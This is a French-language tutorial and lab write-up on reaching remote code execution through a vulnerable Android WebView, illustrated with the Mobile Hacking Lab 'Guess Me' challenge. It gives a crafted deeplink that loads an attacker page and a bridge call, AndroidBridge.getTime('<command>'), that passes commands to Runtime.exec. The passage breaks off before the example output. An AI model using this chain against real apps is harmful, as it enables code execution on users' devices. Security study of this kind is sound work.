RCE

Prérequis

Il est parfois possible de parvenir à une RCE sur un appareil via une WebView vulnérable.

Pour cela, il existe plusieurs prérequis:

1) Une vulnérabilité permettant une WebView Hijacking, cela peut être:

• Un traitement de deeplink non sécurisé (exp: target://open_webview/?url=https://attacker.xyz)

  • Ou une open redirect dans un site de confiance (exp: https://trusted.xyz/redirect?url=https://attacker.xyz

• Un traitement d'intent non sécurisé (exp: Activité qui prend une URL non contrôlée en extra)

L'important étant de pouvoir contrôler la source d'une WebView.

2) La WebView vulnérable doit pouvoir interpréter du code JavaScript

webView.getSettings().setJavaScriptEnabled(true);

3) La WebVIew vulnérable doit exposer un bridge natif

addJavascriptInterface(...)

4) Une classe contenant une méthode pouvant exécuter du code arbitraire doit être exposée au travers du bridge

Classe avec annotation @JavaScriptInterface

Attention: Parfois la classe peut sembler safe mais appeler ensuite des composants dangereux donc une primitive dangereuse peut se retrouver loin dans le code. C'est globalement le même principe que les chaînes de gadgets lors des RCE via desérialisation non sécurisée. L’exploitation d’un JavascriptInterface vulnérable peut reposer sur une logique proche des gadget chains de désérialisation : une méthode apparemment bénigne devient exploitable car elle permet d’atteindre transitivement des primitives dangereuses.

Cas particuliers

Exploit Navigateur

Cas plus rares mais très graves.

Si le moteur :

• Chromium/WebView

• Safari/WKWebView

contient une vulnérabilité mémoire exploitable :

JS → sandbox escape → code execution

alors une page malveillante chargée via hijacking peut mener à une vraie RCE.

Mais là :

• on parle d’exploit navigateur

• beaucoup plus complexe

• souvent 0-day

Exploitation

Prenons l'exemple d'un lab en ligne. ("Guess Me" de Mobile Hacking Lab)

Analyse du Manifest

L'application expose un deeplink mhl://mobilehackinglab/ déclaré pour l'activité com.mobilehackinglab.guessme/.WebViewActivity

Prérequis 1) Une vulnérabilité qui permet un WebView Hijacking

Dans le code de l'activité se trouve une fonction "handleDeepLink" utilisée pour recevoir l'intent. Elle vérifie d'abord si l'intent contient un deeplink et, si oui, elle la transmet à une autre fonction nommée "isValidDeepLink", puis à "loadDeepLink".

Premièrement, la fonction "isValidDeepLink" vérifie si le schéma est "mhl://" ou "https://" et si l'hôte est "mobilehackinglab".

La fonction "loadDeepLink" quant à elle récupére le contenu du paramètre "url" dans le deeplink reçu et ouvre une WebView avec le contenu de ce paramètre sans contrôle supplémentaire.

Ainsi, un deeplink comme mhl://mobilehackinglab/?url=https://attacker.xyz ouvrira une WebView avec comme source https://attacker.xyz

On a donc notre premier prérequis...

Prérequis 2) et 3) les configurations de WebView

Ensuite, il faut que la WebView contrôlée interprète le JS et expose un bridge natif.

Comme convenu, setJavaScriptEnabled(true) et un bridge nommé "AndroidBridge" est exposé

Prérequis 4) Une classe comportant une méthode dangereuse

En recherchant dans le code l'annotation @JavascriptInterface, On tombe sur la méthode getTime() qui prend en argument la string "Time" qui est ensuite exécutée avec Runtime.getRuntime().exec(Time).

On peut alors contrôler la valeure de la string "Time" via le bridge natif en appelant la méthode comme ceci dans le code JavaScript de notre page web "attaquant":

AndroidBridge.getTime("<command>")

Exemple avec AndroidBridge.getTime("id"):